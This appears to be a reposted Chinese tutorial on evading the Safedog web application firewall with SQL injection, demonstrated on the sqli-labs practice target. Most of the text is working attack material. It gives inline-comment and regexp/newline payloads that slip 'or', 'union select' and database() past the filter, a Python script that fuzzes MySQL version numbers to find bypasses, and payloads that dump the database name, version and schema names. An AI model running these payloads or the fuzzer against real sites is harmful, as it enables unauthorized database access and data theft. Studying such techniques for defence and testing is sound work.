安全狗SQL注入绕过
本文用sqli-labs第一关为例
一、简单注入
开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了
1' and 1=1 %23
寻找被安全狗匹配的特征字符,这里没被拦截
1' and %23
原来是当and 与 xx=xx 同时出现的时候会被安全狗识别
1.1 简单注入绕过方式
这里可以使用mysql的内联注释来进行绕过
内联注释/*! */
:在mysql中,/*! */被称为内联注释,里面的内容是会被mysql解析的,解析情况分为以下两种:
1.当/*!紧跟数据库版本号时
这种情况表示,当目前的数据库版本号大于指定的版本号时,里面的内容才会被解释SQL语句,否则会被当做注释处理而被忽略掉
CREATE DATABASE `mydb` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */
表示当 MySQL 的版本号大于 4.1.00 时,后面的 SQL 语句才会被执行。
2.当/*!不紧跟版本号时
这种情况下,里面的内容会被当做SQL语句解析执行
-- 内联注释语句
SELECT * FROM `demo` /*! where id = 2 */;
-- 解析后的语句相当于
SELECT * FROM `demo` where id = 2;
总结:一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况。
1.2 寻找版本号
import sys
import requests
from fake_useragent import UserAgent
def fuzz_start(url):
for i in range(10000, 50000):
ua = UserAgent()
base_url = "{0}/?id=-1'/*!{1}or*/ 1=1 %23".format(url, str(i))
ret = requests.get(base_url, ua.random).text
if "拦截" not in ret:
print("fuzz succee! url is:")
print(base_url)
if __name__ == '__main__':
url = sys.argv[1:]
fuzz_start(url[0])
代码运行后发现有很多能绕过安全狗的版本号
使用内联进注释行注入
id=-1' /*!11445or*/ 1=1 %23
使用内联注释绕过waf,实现简单注入成功
二、绕过联合注入
常规方法检测列数被拦截
1' order by 1 %23
将order by替换为group by便直接绕过
1’ group by 3 %23
爆破显示位时,union 和 select 被拦截
1' union select 1,2,3 %23
2.1 联合注入绕过方式
这里使用mysql自带的正则函数(regexp)
select * from company_info where name like '桑尼'; //查询name等于桑尼的数据
select * from company_info where name regexp '桑尼'; //查询结果中name包含桑尼的数据
绕过代码
-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,2,3 %23
%0A : 换行
%23 : #
2.2 获取详细信息
尝试获取数据库名、版本,因database()被识别被拦截
-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23
使用内联注释获拼接得数据库名与版本号
-1' regexp "%0A%23" /*!11444union*/ %0A /*!11444select*/ 1,database(/*!11444*/),version(/*!11444*/) %23
文章来源:https://www.toymoban.com/news/detail-478710.html
2.3 注入出表名
-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/
/*!--+/*%0ainformation_schema./*!schemata*/ --+
文章来源地址https://www.toymoban.com/news/detail-478710.html
到了这里,关于安全狗SQL注入绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!